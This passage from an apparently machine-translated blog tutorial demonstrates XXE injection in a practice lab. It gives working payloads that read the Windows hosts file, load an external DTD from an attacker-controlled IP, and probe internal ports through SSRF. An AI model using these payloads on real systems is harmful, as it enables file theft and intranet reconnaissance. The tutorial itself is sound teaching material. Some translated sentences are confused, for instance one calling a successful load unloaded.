In this way, the function of reading the passwd file from the above XML document can also be realized.

3. XXE injection practice

XML external entity injection has many hazards, such as obtaining private files and launching SSRF attacks. Let's take a look at how it attacks.

1) Read the privacy file

Here we opened an XXE shooting range. When logging in, we captured the packet and found that his login account was submitted using an XML document instead of a regular form submission:

insert image description here

Then let's try it according to the demonstration idea just now, and see if we can read the file?

Here we change the content of the XML document to the following:

<?xml version="1.0"?>
<!DOCTYPE note[
		<!ENTITY a SYSTEM "file:///C:/Windows/system32/drivers/etc/hosts">
]>
<user>
  <username>&a;</username>
  <password>admin</password>
</user>

It can be found through the payload that the file we want to read is the hosts file in the windows system, and our attack results are also successful:

insert image description here

It can be seen that the content of the file was successfully obtained. But we just used the method of directly injecting XML documents to read, and did not use XML DTD documents to attack. Here we will test it comprehensively, so we will use another method of injecting DTD external entities to test:

First, we write such a DTD document in the attack machine kali: XXE.dtd, in fact, the content of this document is the content of the XML entity we just defined.

<!ENTITY a SYSTEM "file:///C:/Windows/system32/drivers/etc/hosts">

Then we modify the paylaod content as follows:

<?xml version="1.0"?>
<!DOCTYPE user [
	<!ENTITY  % xxe SYSTEM "http://192.168.17.131:8000/XXE.dtd" >
%xxe;]>
<user>
  <username>&a;</username>
  <password>admin</password>
</user>

After sending the payload, the test result is obviously successful, indicating that our external entity has not been loaded.

insert image description here

Above we used the XXE vulnerability to read the inscription file of the system. Here we use the XXE vulnerability to detect the intranet site.

2) Detect intranet sites

Here we detect by directly injecting XML entities, and we use the payload just now to make some modifications:

<?xml version="1.0"?>
<!DOCTYPE note[
		<!ENTITY a SYSTEM "http://127.0.0.1:80/">
]>
<user>
  <username>&a;</username>
  <password>admin</password>
</user>

We can see that when detecting port 80, the result is as follows:

insert image description here

When we detect the unopened port: 8888, the error message is as follows:

insert image description here

Obviously, there is a big difference in the content of the error report, indicating that we can use this method to determine whether the intranet IP or port is open.

5. References

Guess you like

Origin blog.csdn.net/qq_45590334/article/details/125687669